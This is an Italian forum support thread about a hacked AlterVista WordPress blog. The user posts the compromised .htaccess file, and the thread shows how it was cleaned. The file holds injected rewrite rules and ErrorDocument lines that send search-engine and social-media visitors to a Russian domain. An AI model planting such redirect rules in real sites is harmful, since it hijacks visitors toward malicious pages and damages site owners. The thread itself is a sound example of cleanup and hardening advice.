[AlterBlog] Codice malevolo nell htaccess

[romoletto]

Sto diventando noioso, me ne rendo conto.
Ho messo per curiosità "romoletto blog" su google ed è il primo risultato ma cliccando si viene reindirizzati su h**p://headergradient.ru/gamma/index.php
PERCHE?

Scrivendo www.romoletto.altervista.org nella barra indirizzi si ottiene lo stesso risultato.
Gli unici plugin che ho sono sociable newstats e traduttore.

Visitando la pagina dal mio pannello di controllo sembra tutto ok.

Ho letto che devo controllare il file htaccess ma DOVE si trova????
Come prevenire il problema???
Grazie a tutti e scusate ancora ma è proprio fastidioso tutto ciò.

[andreafallico]

Ho letto che devo controllare il file htaccess ma DOVE si trova????

Il codice malevolo si trova in quel file, avevi contattato AlterVista?

[romoletto]

Il codice malevolo si trova in quel file, avevi contattato AlterVista?

Mi era successa la stessa cosa qualche settimana fa però tutti i link puntavano ad un altro sito sempre russo (.ru) Perche ce l hanno con me sti russi e avevo chiesto sempre aiuto qui ed avevamo risolto (temporaneamente evidentemente)

[darkwolf]

Per editare l'htaccess sull'alterblog basta usare un plugin che lo permetta (esempio: un file browser o cose così) ...
Io, ad esempio, uso http://yoast.com/wordpress/seo/ che, tra le tante cose, permette di editare l'htaccess :)

[romoletto]

Per editare l'htaccess sull'alterblog basta usare un plugin che lo permetta (esempio: un file browser o cose così) ...
Io, ad esempio, uso http://yoast.com/wordpress/seo/ che, tra le tante cose, permette di editare l'htaccess :)

ok ne ho messo uno a 5 stelle (ma mostra la pubblicità). ora posso editare htaccess: cosa devo eliminare??

Questo è il contenuto:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|ex cite|altavista|msn|netscape|aol|hotbot|goto|infose ek|mamma|alltheweb|lycos|search|metacrawler|bing|d ogpile|facebook|twitter|blog|live|myspace|mail|yan dex|rambler|ya|aport|linkedin|flickr|nigma|liveint ernet|vkontakte|webalta|filesearch|yell|openstat|m etabot|nol9|zoneru|km|gigablast|entireweb|amfibi|d moz|yippy|search|walhello|webcrawler|jayde|findwha t|teoma|euroseek|wisenut|about|thunderstone|ixquic k|terra|lookle|metaeureka|searchspot|slider|topsev en|allthesites|libero|clickey|galaxy|brainysearch| pocketflier|verygoodsearch|bellnet|freenet|firebal l|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar| suchnase|schnellsuche|sharelook|sucharchiv|suchbie ne|suchmaschine|web-archiv)\.(.*)
RewriteRule ^(.*)$ http://headergradient.ru/gamma/index.php [R=301,L]
RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orang e|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|te lfort|hispavista|passagen|spray|eniro|telia|bluewi n|sympatico|nlsearch|atsearch|klammeraffe|shareloo k|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|d affodil|click4choice|exalead|findelio|gasta|gimpsy |globalsearchdirectory|hotfrog|jobrapido|kingdomse ek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan |qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|ex press|bestireland|browseireland|finditireland|iese arch|ireland-information|kompass|startsiden|confex|finnalle|gul esider|keyweb|finnfirma|kvasir|savio|sol|startside n|allpages|america|botw|chapu|claymont|clickz|clus h|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)
RewriteRule ^(.*)$ http://headergradient.ru/gamma/index.php [R=301,L]
</IfModule>

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
# /* modifica */
RewriteBase /
# /* fine */
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
# /* modifica */
RewriteRule . /index.php [L]
# /* fine */
</IfModule>

# END WordPress

# /* modifica */
# # av:php5-engine
AddHandler av-php5 .php
# /* fine */
# # av:Words
SetEnv AV_WORDS 0

# # av:Toolbar
SetEnv AV_TOOLBAR 1

# # av:Banner
SetEnv AV_BANNER 0

ErrorDocument 400 http://headergradient.ru/gamma/index.php
ErrorDocument 401 http://headergradient.ru/gamma/index.php
ErrorDocument 403 http://headergradient.ru/gamma/index.php
ErrorDocument 404 http://headergradient.ru/gamma/index.php
ErrorDocument 500 http://headergradient.ru/gamma/index.php

[darkwolf]

Cambialo in:

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

# # av:php5-engine
AddHandler av-php5 .php

# # av:Words
SetEnv AV_WORDS 0

# # av:Toolbar
SetEnv AV_TOOLBAR 1

# # av:Banner
SetEnv AV_BANNER 0

[romoletto]

OK.
Come posso evitare che succeda di nuovo in futuro?

[darkwolf]

Giusto per curiosità puoi postare il nome del plugin usato?
---
In ogni caso, aggiorna il blog, i plugin, il tema, la password di accesso e verifica che il tuo pc sia "Pulito"

[romoletto]

Giusto per curiosità puoi postare il nome del plugin usato?
---
In ogni caso, aggiorna il blog, i plugin, il tema, la password di accesso e verifica che il tuo pc sia "Pulito"

Capito non c'è una specie di firewall o un plugin che lo faccia al posto mio?

Per l'editor si tratta di questo qua:
WP Htaccess Editor : Simple editor htaccess file without using FTP client.
Versione 1.1.1 | Di Lukenzi

[darkwolf]

No, non credo! E' importante tenere sempre il tutto aggiornato e pulito.
Non potendo sapere se hanno sfruttato un bug nel sito o un virus/worm dal tuo pc, sarebbe bene agire in modo globale su: "sito; pc usato per amministrare il blog e password di accesso allo stesso blog".

[romoletto]

No, non credo! E' importante tenere sempre il tutto aggiornato e pulito.
Non potendo sapere se hanno sfruttato un bug nel sito o un virus/worm dal tuo pc, sarebbe bene agire in modo globale su: "sito; pc usato per amministrare il blog e password di accesso allo stesso blog".

Cmq grazie per assistenza...
Non credo si tratti di un problema mio ho formattato il pc da un paio di giorni con programmi diversi da prima e diverso SO.
Cmq qualcuno dovrebbe farlo un plugin di "autoripristino di un file 'sicuro' htaccess" a intervalli prestabiliti... a presto